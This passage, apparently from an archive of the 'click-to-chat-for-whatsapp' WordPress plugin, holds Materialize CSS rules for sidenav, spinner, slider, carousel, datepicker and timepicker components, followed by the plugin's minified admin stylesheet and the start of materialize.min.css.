    transform: translateX(-100%);
    height: 100%;
    height: calc(100% + 60px);
    height: -moz-calc(100%);
    padding-bottom: 60px;
    background-color: #fff;
    z-index: 999;
    overflow-y: auto;
    will-change: transform;
    -webkit-backface-visibility: hidden;
    backface-visibility: hidden;
    -webkit-transform: translateX(-105%);
    transform: translateX(-105%)
}

.sidenav.right-aligned {
    right: 0;
    -webkit-transform: translateX(105%);
    transform: translateX(105%);
    left: auto;
    -webkit-transform: translateX(100%);
    transform: translateX(100%)
}

.sidenav .collapsible {
    margin: 0
}

.sidenav li {
    float: none;
    line-height: 48px
}

.sidenav li.active {
    background-color: rgba(0, 0, 0, 0.05)
}

.sidenav li>a {
    color: rgba(0, 0, 0, 0.87);
    display: block;
    font-size: 14px;
    font-weight: 500;
    height: 48px;
    line-height: 48px;
    padding: 0 32px
}

.sidenav li>a:hover {
    background-color: rgba(0, 0, 0, 0.05)
}

.sidenav li>a.btn,
.sidenav li>a.btn-large,
.sidenav li>a.btn-small,
.sidenav li>a.btn-large,
.sidenav li>a.btn-flat,
.sidenav li>a.btn-floating {
    margin: 10px 15px
}

.sidenav li>a.btn,
.sidenav li>a.btn-large,
.sidenav li>a.btn-small,
.sidenav li>a.btn-large,
.sidenav li>a.btn-floating {
    color: #fff
}

.sidenav li>a.btn-flat {
    color: #343434
}

.sidenav li>a.btn:hover,
.sidenav li>a.btn-large:hover,
.sidenav li>a.btn-small:hover,
.sidenav li>a.btn-large:hover {
    background-color: #2bbbad
}

.sidenav li>a.btn-floating:hover {
    background-color: #26a69a
}

.sidenav li>a>i,
.sidenav li>a>[class^="mdi-"],
.sidenav li>a li>a>[class*="mdi-"],
.sidenav li>a>i.material-icons {
    float: left;
    height: 48px;
    line-height: 48px;
    margin: 0 32px 0 0;
    width: 24px;
    color: rgba(0, 0, 0, 0.54)
}

.sidenav .divider {
    margin: 8px 0 0
}

.sidenav .subheader {
    cursor: initial;
    pointer-events: none;
    color: rgba(0, 0, 0, 0.54);
    font-size: 14px;
    font-weight: 500;
    line-height: 48px
}

.sidenav .subheader:hover {
    background-color: transparent
}

.sidenav .user-view {
    position: relative;
    padding: 32px 32px 0;
    margin-bottom: 8px
}

.sidenav .user-view>a {
    height: auto;
    padding: 0
}

.sidenav .user-view>a:hover {
    background-color: transparent
}

.sidenav .user-view .background {
    overflow: hidden;
    position: absolute;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    z-index: -1
}

.sidenav .user-view .circle,
.sidenav .user-view .name,
.sidenav .user-view .email {
    display: block
}

.sidenav .user-view .circle {
    height: 64px;
    width: 64px
}

.sidenav .user-view .name,
.sidenav .user-view .email {
    font-size: 14px;
    line-height: 24px
}

.sidenav .user-view .name {
    margin-top: 16px;
    font-weight: 500
}

.sidenav .user-view .email {
    padding-bottom: 16px;
    font-weight: 400
}

.drag-target {
    height: 100%;
    width: 10px;
    position: fixed;
    top: 0;
    z-index: 998
}

.drag-target.right-aligned {
    right: 0
}

.sidenav.sidenav-fixed {
    left: 0;
    -webkit-transform: translateX(0);
    transform: translateX(0);
    position: fixed
}

.sidenav.sidenav-fixed.right-aligned {
    right: 0;
    left: auto
}

@media only screen and (max-width: 992px) {
    .sidenav.sidenav-fixed {
        -webkit-transform: translateX(-105%);
        transform: translateX(-105%)
    }

    .sidenav.sidenav-fixed.right-aligned {
        -webkit-transform: translateX(105%);
        transform: translateX(105%)
    }

    .sidenav>a {
        padding: 0 16px
    }

    .sidenav .user-view {
        padding: 16px 16px 0
    }
}

.sidenav .collapsible-body>ul:not(.collapsible)>li.active,
.sidenav.sidenav-fixed .collapsible-body>ul:not(.collapsible)>li.active {
    background-color: #ee6e73
}

.sidenav .collapsible-body>ul:not(.collapsible)>li.active a,
.sidenav.sidenav-fixed .collapsible-body>ul:not(.collapsible)>li.active a {
    color: #fff
}

.sidenav .collapsible-body {
    padding: 0
}

.sidenav-overlay {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    opacity: 0;
    height: 120vh;
    background-color: rgba(0, 0, 0, 0.5);
    z-index: 997;
    display: none
}

.preloader-wrapper {
    display: inline-block;
    position: relative;
    width: 50px;
    height: 50px
}

.preloader-wrapper.small {
    width: 36px;
    height: 36px
}

.preloader-wrapper.big {
    width: 64px;
    height: 64px
}

.preloader-wrapper.active {
    animation: container-rotate 1568ms linear infinite
}

@keyframes container-rotate {
    to {
        -webkit-transform: rotate(360deg);
        transform: rotate(360deg)
    }
}

.spinner-layer {
    position: absolute;
    width: 100%;
    height: 100%;
    opacity: 0;
    border-color: #26a69a
}

.spinner-blue,
.spinner-blue-only {
    border-color: #4285f4
}

.spinner-red,
.spinner-red-only {
    border-color: #db4437
}

.spinner-yellow,
.spinner-yellow-only {
    border-color: #f4b400
}

.spinner-green,
.spinner-green-only {
    border-color: #0f9d58
}

.active .spinner-layer.spinner-blue {
    animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, blue-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

.active .spinner-layer.spinner-red {
    animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, red-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

.active .spinner-layer.spinner-yellow {
    animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, yellow-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

.active .spinner-layer.spinner-green {
    animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, green-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

.active .spinner-layer,
.active .spinner-layer.spinner-blue-only,
.active .spinner-layer.spinner-red-only,
.active .spinner-layer.spinner-yellow-only,
.active .spinner-layer.spinner-green-only {
    opacity: 1;
    animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

@keyframes fill-unfill-rotate {
    12.5% {
        -webkit-transform: rotate(135deg);
        transform: rotate(135deg)
    }

    25% {
        -webkit-transform: rotate(270deg);
        transform: rotate(270deg)
    }

    37.5% {
        -webkit-transform: rotate(405deg);
        transform: rotate(405deg)
    }

    50% {
        -webkit-transform: rotate(540deg);
        transform: rotate(540deg)
    }

    62.5% {
        -webkit-transform: rotate(675deg);
        transform: rotate(675deg)
    }

    75% {
        -webkit-transform: rotate(810deg);
        transform: rotate(810deg)
    }

    87.5% {
        -webkit-transform: rotate(945deg);
        transform: rotate(945deg)
    }

    to {
        -webkit-transform: rotate(1080deg);
        transform: rotate(1080deg)
    }
}

@keyframes blue-fade-in-out {
    from {
        opacity: 1
    }

    25% {
        opacity: 1
    }

    26% {
        opacity: 0
    }

    89% {
        opacity: 0
    }

    90% {
        opacity: 1
    }

    100% {
        opacity: 1
    }
}

@keyframes red-fade-in-out {
    from {
        opacity: 0
    }

    15% {
        opacity: 0
    }

    25% {
        opacity: 1
    }

    50% {
        opacity: 1
    }

    51% {
        opacity: 0
    }
}

@keyframes yellow-fade-in-out {
    from {
        opacity: 0
    }

    40% {
        opacity: 0
    }

    50% {
        opacity: 1
    }

    75% {
        opacity: 1
    }

    76% {
        opacity: 0
    }
}

@keyframes green-fade-in-out {
    from {
        opacity: 0
    }

    65% {
        opacity: 0
    }

    75% {
        opacity: 1
    }

    90% {
        opacity: 1
    }

    100% {
        opacity: 0
    }
}

.gap-patch {
    position: absolute;
    top: 0;
    left: 45%;
    width: 10%;
    height: 100%;
    overflow: hidden;
    border-color: inherit
}

.gap-patch .circle {
    width: 1000%;
    left: -450%
}

.circle-clipper {
    display: inline-block;
    position: relative;
    width: 50%;
    height: 100%;
    overflow: hidden;
    border-color: inherit
}

.circle-clipper .circle {
    width: 200%;
    height: 100%;
    border-width: 3px;
    border-style: solid;
    border-color: inherit;
    border-bottom-color: transparent !important;
    border-radius: 50%;
    animation: none;
    position: absolute;
    top: 0;
    right: 0;
    bottom: 0
}

.circle-clipper.left .circle {
    left: 0;
    border-right-color: transparent !important;
    -webkit-transform: rotate(129deg);
    transform: rotate(129deg)
}

.circle-clipper.right .circle {
    left: -100%;
    border-left-color: transparent !important;
    -webkit-transform: rotate(-129deg);
    transform: rotate(-129deg)
}

.active .circle-clipper.left .circle {
    animation: left-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

.active .circle-clipper.right .circle {
    animation: right-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both
}

@keyframes left-spin {
    from {
        -webkit-transform: rotate(130deg);
        transform: rotate(130deg)
    }

    50% {
        -webkit-transform: rotate(-5deg);
        transform: rotate(-5deg)
    }

    to {
        -webkit-transform: rotate(130deg);
        transform: rotate(130deg)
    }
}

@keyframes right-spin {
    from {
        -webkit-transform: rotate(-130deg);
        transform: rotate(-130deg)
    }

    50% {
        -webkit-transform: rotate(5deg);
        transform: rotate(5deg)
    }

    to {
        -webkit-transform: rotate(-130deg);
        transform: rotate(-130deg)
    }
}

#spinnerContainer.cooldown {
    animation: container-rotate 1568ms linear infinite, fade-out 400ms cubic-bezier(0.4, 0, 0.2, 1)
}

@keyframes fade-out {
    from {
        opacity: 1
    }

    to {
        opacity: 0
    }
}

.slider {
    position: relative;
    height: 400px;
    width: 100%
}

.slider.fullscreen {
    height: 100%;
    width: 100%;
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0
}

.slider.fullscreen ul.slides {
    height: 100%
}

.slider.fullscreen ul.indicators {
    z-index: 2;
    bottom: 30px
}

.slider .slides {
    background-color: #9e9e9e;
    margin: 0;
    height: 400px
}

.slider .slides li {
    opacity: 0;
    position: absolute;
    top: 0;
    left: 0;
    z-index: 1;
    width: 100%;
    height: inherit;
    overflow: hidden
}

.slider .slides li img {
    height: 100%;
    width: 100%;
    background-size: cover;
    background-position: center
}

.slider .slides li .caption {
    color: #fff;
    position: absolute;
    top: 15%;
    left: 15%;
    width: 70%;
    opacity: 0
}

.slider .slides li .caption p {
    color: #e0e0e0
}

.slider .slides li.active {
    z-index: 2
}

.slider .indicators {
    position: absolute;
    text-align: center;
    left: 0;
    right: 0;
    bottom: 0;
    margin: 0
}

.slider .indicators .indicator-item {
    display: inline-block;
    position: relative;
    cursor: pointer;
    height: 16px;
    width: 16px;
    margin: 0 12px;
    background-color: #e0e0e0;
    transition: background-color .3s;
    border-radius: 50%
}

.slider .indicators .indicator-item.active {
    background-color: #4CAF50
}

.carousel {
    overflow: hidden;
    position: relative;
    width: 100%;
    height: 400px;
    -webkit-perspective: 500px;
    perspective: 500px;
    -webkit-transform-style: preserve-3d;
    transform-style: preserve-3d;
    -webkit-transform-origin: 0 50%;
    transform-origin: 0 50%
}

.carousel.carousel-slider {
    top: 0;
    left: 0
}

.carousel.carousel-slider .carousel-fixed-item {
    position: absolute;
    left: 0;
    right: 0;
    bottom: 20px;
    z-index: 1
}

.carousel.carousel-slider .carousel-fixed-item.with-indicators {
    bottom: 68px
}

.carousel.carousel-slider .carousel-item {
    width: 100%;
    height: 100%;
    min-height: 400px;
    position: absolute;
    top: 0;
    left: 0
}

.carousel.carousel-slider .carousel-item h2 {
    font-size: 24px;
    font-weight: 500;
    line-height: 32px
}

.carousel.carousel-slider .carousel-item p {
    font-size: 15px
}

.carousel .carousel-item {
    visibility: hidden;
    width: 200px;
    height: 200px;
    position: absolute;
    top: 0;
    left: 0
}

.carousel .carousel-item>img {
    width: 100%
}

.carousel .indicators {
    position: absolute;
    text-align: center;
    left: 0;
    right: 0;
    bottom: 0;
    margin: 0
}

.carousel .indicators .indicator-item {
    display: inline-block;
    position: relative;
    cursor: pointer;
    height: 8px;
    width: 8px;
    margin: 24px 4px;
    background-color: rgba(255, 255, 255, 0.5);
    transition: background-color .3s;
    border-radius: 50%
}

.carousel .indicators .indicator-item.active {
    background-color: #fff
}

.carousel.scrolling .carousel-item .materialboxed,
.carousel .carousel-item:not(.active) .materialboxed {
    pointer-events: none
}

.tap-target-wrapper {
    width: 800px;
    height: 800px;
    position: fixed;
    z-index: 1000;
    visibility: hidden;
    transition: visibility 0 .3s
}

.tap-target-wrapper.open {
    visibility: visible;
    transition: visibility 0
}

.tap-target-wrapper.open .tap-target {
    -webkit-transform: scale(1);
    transform: scale(1);
    opacity: .95;
    transition: opacity .3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform .3s cubic-bezier(0.42, 0, 0.58, 1);
    transition: transform .3s cubic-bezier(0.42, 0, 0.58, 1), opacity .3s cubic-bezier(0.42, 0, 0.58, 1);
    transition: transform .3s cubic-bezier(0.42, 0, 0.58, 1), opacity .3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform .3s cubic-bezier(0.42, 0, 0.58, 1)
}

.tap-target-wrapper.open .tap-target-wave::before {
    -webkit-transform: scale(1);
    transform: scale(1)
}

.tap-target-wrapper.open .tap-target-wave::after {
    visibility: visible;
    animation: pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite;
    transition: opacity .3s, visibility 0 1s, -webkit-transform .3s;
    transition: opacity .3s, transform .3s, visibility 0 1s;
    transition: opacity .3s, transform .3s, visibility 0 1s, -webkit-transform .3s
}

.tap-target {
    position: absolute;
    font-size: 1rem;
    border-radius: 50%;
    background-color: #ee6e73;
    box-shadow: 0 20px 20px 0 rgba(0, 0, 0, 0.14), 0 10px 50px 0 rgba(0, 0, 0, 0.12), 0 30px 10px -20px rgba(0, 0, 0, 0.2);
    width: 100%;
    height: 100%;
    opacity: 0;
    -webkit-transform: scale(0);
    transform: scale(0);
    transition: opacity .3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform .3s cubic-bezier(0.42, 0, 0.58, 1);
    transition: transform .3s cubic-bezier(0.42, 0, 0.58, 1), opacity .3s cubic-bezier(0.42, 0, 0.58, 1);
    transition: transform .3s cubic-bezier(0.42, 0, 0.58, 1), opacity .3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform .3s cubic-bezier(0.42, 0, 0.58, 1)
}

.tap-target-content {
    position: relative;
    display: table-cell
}

.tap-target-wave {
    position: absolute;
    border-radius: 50%;
    z-index: 10001
}

.tap-target-wave::before,
.tap-target-wave::after {
    content: '';
    display: block;
    position: absolute;
    width: 100%;
    height: 100%;
    border-radius: 50%;
    background-color: #fff
}

.tap-target-wave::before {
    -webkit-transform: scale(0);
    transform: scale(0);
    transition: -webkit-transform .3s;
    transition: transform .3s;
    transition: transform .3s, -webkit-transform .3s
}

.tap-target-wave::after {
    visibility: hidden;
    transition: opacity .3s, visibility 0s, -webkit-transform .3s;
    transition: opacity .3s, transform .3s, visibility 0;
    transition: opacity .3s, transform .3s, visibility 0s, -webkit-transform .3s;
    z-index: -1
}

.tap-target-origin {
    top: 50%;
    left: 50%;
    -webkit-transform: translate(-50%, -50%);
    transform: translate(-50%, -50%);
    z-index: 10002;
    position: absolute !important
}

.tap-target-origin:not(.btn):not(.btn-large):not(.btn-small),
.tap-target-origin:not(.btn):not(.btn-large):not(.btn-small):hover {
    background: none
}

@media only screen and (max-width: 600px) {

    .tap-target,
    .tap-target-wrapper {
        width: 600px;
        height: 600px
    }
}

.pulse {
    overflow: visible;
    position: relative
}

.pulse::before {
    content: '';
    display: block;
    position: absolute;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    background-color: inherit;
    border-radius: inherit;
    transition: opacity .3s, -webkit-transform .3s;
    transition: opacity .3s, transform .3s;
    transition: opacity .3s, transform .3s, -webkit-transform .3s;
    animation: pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite;
    z-index: -1
}

@keyframes pulse-animation {
    0% {
        opacity: 1;
        -webkit-transform: scale(1);
        transform: scale(1)
    }

    50% {
        opacity: 0;
        -webkit-transform: scale(1.5);
        transform: scale(1.5)
    }

    100% {
        opacity: 0;
        -webkit-transform: scale(1.5);
        transform: scale(1.5)
    }
}

.datepicker-modal {
    max-width: 325px;
    min-width: 300px;
    max-height: none
}

.datepicker-container.modal-content {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
    padding: 0
}

.datepicker-controls {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-pack: justify;
    -webkit-justify-content: space-between;
    -ms-flex-pack: justify;
    justify-content: space-between;
    width: 280px;
    margin: 0 auto
}

.datepicker-controls .selects-container {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex
}

.datepicker-controls .select-wrapper input {
    border-bottom: none;
    text-align: center;
    margin: 0
}

.datepicker-controls .select-wrapper input:focus {
    border-bottom: none
}

.datepicker-controls .select-wrapper .caret {
    display: none
}

.datepicker-controls .select-year input {
    width: 50px
}

.datepicker-controls .select-month input {
    width: 70px
}

.month-prev,
.month-next {
    margin-top: 4px;
    cursor: pointer;
    background-color: transparent;
    border: none
}

.datepicker-date-display {
    -webkit-box-flex: 1;
    -webkit-flex: 1 auto;
    -ms-flex: 1 auto;
    flex: 1 auto;
    background-color: #26a69a;
    color: #fff;
    padding: 20px 22px;
    font-weight: 500
}

.datepicker-date-display .year-text {
    display: block;
    font-size: 1.5rem;
    line-height: 25px;
    color: rgba(255, 255, 255, 0.7)
}

.datepicker-date-display .date-text {
    display: block;
    font-size: 2.8rem;
    line-height: 47px;
    font-weight: 500
}

.datepicker-calendar-container {
    -webkit-box-flex: 2.5;
    -webkit-flex: 2.5 auto;
    -ms-flex: 2.5 auto;
    flex: 2.5 auto
}

.datepicker-table {
    width: 280px;
    font-size: 1rem;
    margin: 0 auto
}

.datepicker-table thead {
    border-bottom: none
}

.datepicker-table th {
    padding: 10px 5px;
    text-align: center
}

.datepicker-table tr {
    border: none
}

.datepicker-table abbr {
    text-decoration: none;
    color: #999
}

.datepicker-table td {
    border-radius: 50%;
    padding: 0
}

.datepicker-table td.is-today {
    color: #26a69a
}

.datepicker-table td.is-selected {
    background-color: #26a69a;
    color: #fff
}

.datepicker-table td.is-outside-current-month,
.datepicker-table td.is-disabled {
    color: rgba(0, 0, 0, 0.3);
    pointer-events: none
}

.datepicker-day-button {
    background-color: transparent;
    border: none;
    line-height: 38px;
    display: block;
    width: 100%;
    border-radius: 50%;
    padding: 0 5px;
    cursor: pointer;
    color: inherit
}

.datepicker-day-button:focus {
    background-color: rgba(43, 161, 150, 0.25)
}

.datepicker-footer {
    width: 280px;
    margin: 0 auto;
    padding-bottom: 5px;
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-pack: justify;
    -webkit-justify-content: space-between;
    -ms-flex-pack: justify;
    justify-content: space-between
}

.datepicker-cancel,
.datepicker-clear,
.datepicker-today,
.datepicker-done {
    color: #26a69a;
    padding: 0 1rem
}

.datepicker-clear {
    color: #F44336
}

@media only screen and (min-width: 601px) {
    .datepicker-modal {
        max-width: 625px
    }

    .datepicker-container.modal-content {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -webkit-flex-direction: row;
        -ms-flex-direction: row;
        flex-direction: row
    }

    .datepicker-date-display {
        -webkit-box-flex: 0;
        -webkit-flex: 0 1 270px;
        -ms-flex: 0 1 270px;
        flex: 0 1 270px
    }

    .datepicker-controls,
    .datepicker-table,
    .datepicker-footer {
        width: 320px
    }

    .datepicker-day-button {
        line-height: 44px
    }
}

.timepicker-modal {
    max-width: 325px;
    max-height: none
}

.timepicker-container.modal-content {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
    padding: 0
}

.text-primary {
    color: #fff
}

.timepicker-digital-display {
    -webkit-box-flex: 1;
    -webkit-flex: 1 auto;
    -ms-flex: 1 auto;
    flex: 1 auto;
    background-color: #26a69a;
    padding: 10px;
    font-weight: 300
}

.timepicker-text-container {
    font-size: 4rem;
    font-weight: 700;
    text-align: center;
    color: rgba(255, 255, 255, 0.6);
    font-weight: 400;
    position: relative;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none
}

.timepicker-span-hours,
.timepicker-span-minutes,
.timepicker-span-am-pm div {
    cursor: pointer
}

.timepicker-span-hours {
    margin-right: 3px
}

.timepicker-span-minutes {
    margin-left: 3px
}

.timepicker-display-am-pm {
    font-size: 1.3rem;
    position: absolute;
    right: 1rem;
    bottom: 1rem;
    font-weight: 400
}

.timepicker-analog-display {
    -webkit-box-flex: 2.5;
    -webkit-flex: 2.5 auto;
    -ms-flex: 2.5 auto;
    flex: 2.5 auto
}

.timepicker-plate {
    background-color: #eee;
    border-radius: 50%;
    width: 270px;
    height: 270px;
    overflow: visible;
    position: relative;
    margin: auto;
    margin-top: 25px;
    margin-bottom: 5px;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none
}

.timepicker-canvas,
.timepicker-dial {
    position: absolute;
    left: 0;
    right: 0;
    top: 0;
    bottom: 0
}

.timepicker-minutes {
    visibility: hidden
}

.timepicker-tick {
    border-radius: 50%;
    color: rgba(0, 0, 0, 0.87);
    line-height: 40px;
    text-align: center;
    width: 40px;
    height: 40px;
    position: absolute;
    cursor: pointer;
    font-size: 15px
}

.timepicker-tick.active,
.timepicker-tick:hover {
    background-color: rgba(38, 166, 154, 0.25)
}

.timepicker-dial {
    transition: opacity 350ms, -webkit-transform 350ms;
    transition: transform 350ms, opacity 350ms;
    transition: transform 350ms, opacity 350ms, -webkit-transform 350ms
}

.timepicker-dial-out {
    opacity: 0
}

.timepicker-dial-out.timepicker-hours {
    -webkit-transform: scale(1.1, 1.1);
    transform: scale(1.1, 1.1)
}

.timepicker-dial-out.timepicker-minutes {
    -webkit-transform: scale(0.8, 0.8);
    transform: scale(0.8, 0.8)
}

.timepicker-canvas {
    transition: opacity 175ms
}

.timepicker-canvas line {
    stroke: #26a69a;
    stroke-width: 4;
    stroke-linecap: round
}

.timepicker-canvas-out {
    opacity: .25
}

.timepicker-canvas-bearing {
    stroke: none;
    fill: #26a69a
}

.timepicker-canvas-bg {
    stroke: none;
    fill: #26a69a
}

.timepicker-footer {
    margin: 0 auto;
    padding: 5px 1rem;
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-pack: justify;
    -webkit-justify-content: space-between;
    -ms-flex-pack: justify;
    justify-content: space-between
}

.timepicker-clear {
    color: #F44336
}

.timepicker-close {
    color: #26a69a
}

.timepicker-clear,
.timepicker-close {
    padding: 0 20px
}

@media only screen and (min-width: 601px) {
    .timepicker-modal {
        max-width: 600px
    }

    .timepicker-container.modal-content {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -webkit-flex-direction: row;
        -ms-flex-direction: row;
        flex-direction: row
    }

    .timepicker-text-container {
        top: 32%
    }

    .timepicker-display-am-pm {
        position: relative;
        right: auto;
        bottom: auto;
        text-align: center;
        margin-top: 1.2rem
    }
}

.collection {
    margin: .5rem 0 1rem;
    border: 1px solid #e0e0e0;
    border-radius: 2px;
    overflow: hidden;
    position: relative
}

.collection .collection-item {
    background-color: #fff;
    line-height: 1.5rem;
    padding: 10px 20px;
    margin: 0;
    border-bottom: 1px solid #e0e0e0
}

.collection .collection-item.avatar {
    min-height: 84px;
    padding-left: 72px;
    position: relative
}

.collection .collection-item.avatar:not(.circle-clipper)>.circle,
.collection .collection-item.avatar :not(.circle-clipper)>.circle {
    position: absolute;
    width: 42px;
    height: 42px;
    overflow: hidden;
    left: 15px;
    display: inline-block;
    vertical-align: middle
}

.collection .collection-item.avatar i.circle {
    font-size: 18px;
    line-height: 42px;
    color: #fff;
    background-color: #999;
    text-align: center
}

.collection .collection-item.avatar .title {
    font-size: 16px
}

.collection .collection-item.avatar p {
    margin: 0
}

.collection .collection-item.avatar .secondary-content {
    position: absolute;
    top: 16px;
    right: 16px
}

.collection .collection-item:last-child {
    border-bottom: none
}

.collection .collection-item.active {
    background-color: #26a69a;
    color: #eafaf9
}

.collection .collection-item.active .secondary-content {
    color: #fff
}

.collection span.collection-item {
    display: block;
    transition: .25s;
    color: #26a69a
}

.collection span.collection-item:not(.active):hover {
    background-color: #ddd
}

.collection.with-header .collection-header {
    background-color: #fff;
    border-bottom: 1px solid #e0e0e0;
    padding: 10px 20px
}

.collection.with-header .collection-item {
    padding-left: 30px
}

.collection.with-header .collection-item.avatar {
    padding-left: 72px
}

.secondary-content {
    float: right;
    color: #26a69a
}

.collection-item span.badge {
    margin-top: calc(.75rem - 11px)
}

.collection span.badge {
    min-width: 3rem;
    padding: 0 6px;
    margin-left: 14px;
    text-align: center;
    font-size: 1rem;
    line-height: 22px;
    height: 22px;
    color: #757575;
    float: right;
    box-sizing: border-box
}

span.badge.new {
    font-weight: 300;
    font-size: .8rem;
    color: #fff;
    background-color: #26a69a;
    border-radius: 2px
}

span.badge.new:after {
    content: " new"
}

span.badge[data-badge-caption]::after {
    content: " " attr(data-badge-caption)
}

.collection-item span.badge {
    margin-top: calc(.75rem - 11px)
}click-to-chat-for-whatsapp/new/admin/admin_assets/css/admin.css000064400000006624147510273110020535 0ustar00.toplevel_page_click-to-chat #wpcontent,.click-to-chat_page_click-to-chat-greetings #wpcontent,.click-to-chat_page_click-to-chat-other-settings #wpcontent,.click-to-chat_page_click-to-chat-customize-styles #wpcontent{background-color:#fff}.collapsible-header{background-color:#fdfdfd}.collapsible-header .dashicons{color:#ddd}.rtl .collapsible-header .dashicons-no-alt{margin-right:auto;margin-left:unset!important}.collapsible-header .right_icon.dashicons{margin-left:auto}.rtl .collapsible-header .right_icon.dashicons{margin-right:auto;margin-left:unset}.rtl .collapsible-header .left_icon.dashicons{margin-right:unset}.rtl .select-wrapper .caret{right:unset;left:0}.active:not(.have-sub-collapsible) .collapsible-header .dashicons{transform:rotate(180deg)}.collapsible .dropdown-content li{background-color:#fff}*{scroll-behavior:smooth}.margin_top_30{margin-top:30px}.margin_top_20{margin-top:20px}.m_top_5{margin-top:5px}.m_side_10{margin-left:10px;margin-right:10px}.m_side_15{margin-left:15px;margin-right:15px}.margin_bottom_15{margin-bottom:15px}.margin_bottom_25{margin-bottom:25px}.em_1_1{font-size:1.1em}.em_1_2{font-size:1.2em}.ht_ctc_show_hide_settings :checked~.dashicons-visibility,.ht_ctc_show_hide_settings :checked~span .dashicons-visibility,.ht_ctc_show_hide_settings .show_settings .dashicons-visibility{color:green!important}.ht_ctc_show_hide_settings :checked~.dashicons-hidden,.ht_ctc_show_hide_settings :checked~span .dashicons-hidden,.ht_ctc_show_hide_settings .hide_settings .dashicons-hidden{color:red!important}.show-hide_display-none,.not_samesettings,.show_settings,.hide_settings,.ctc_greetings_settings,.ctc_init_display_none{display:none}.options .submit{position:sticky!important;bottom:1px;z-index:9}.options .submit input{letter-spacing:.4px;padding:2px 11px}.select_style_selected{background-color:#c5c5c5!important}summary{cursor:pointer}.click-to-chat_page_click-to-chat-greetings .link-target #wp-link-target{opacity:1!important}.wp-editor-wrap{padding-left:.75rem}.description.ht_ctc_pro_description{border-left:5px solid #20b2aa;padding:5px 5px 5px 14px;margin:19px 0}.description.ht_ctc_subtitle{border-left:5px solid #20b2aa;padding-left:.9rem;margin:5px 0}.description.ht_ctc_pro_subtitle{border-left:5px solid #8fbc8f;padding-left:.9rem;margin:5px 0}.description.ht_ctc_error_message{color:red;font-size:.9rem;margin-top:5px}.ht_ctc_content_point:before{margin:0 4px;content:"\2022"}.ctc_md_tab{border-right:1px solid #ddd;border-bottom:1px solid #ddd;border-left:1px solid #ddd;box-shadow:0 2px 2px 0 #000 0 3px 1px -2px #000 0 1px 5px 0 #000;padding:25px}.tab a{color:#000!important}.tab a.active{color:#000!important}.tabs .indicator{background-color:#4f94d4!important}.tabs a:focus{box-shadow:none}.tabs .tab a:focus,.tabs .tab a:focus.active{background-color:#fff!important}.tabs.tabs-fixed-width{background-color:#fff!important}.md_tab{scroll-margin-top:100px}@media only screen and (min-width: 1201px){.sticky-sidebar{position:sticky!important;top:100px;float:right}.sticky-sidebar .sidebar-content{margin-top:12px;margin-left:80px}.ctc_scrollbar{height:86vh;overflow-y:auto;visibility:hidden}.ctc_scrollbar_2,.ctc_scrollbar:hover,.ctc_scrollbar:focus{visibility:visible}.ht-ctc-admin-sidebar::-webkit-scrollbar{width:3px}.ht-ctc-admin-sidebar::-webkit-scrollbar-track{background:#f1f1f1}.ht-ctc-admin-sidebar::-webkit-scrollbar-thumb{background:#888}.ht-ctc-admin-sidebar::-webkit-scrollbar-thumb:hover{background:#555}}click-to-chat-for-whatsapp/new/admin/admin_assets/css/materialize.min.css000064400000322264147510273110022536 0ustar00.transparent{background-color:rgba(0,0,0,0)!important}.transparent-text{color:rgba(0,0,0,0)!important}html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;-moz-text-decoration:underline dotted;text-decoration:underline 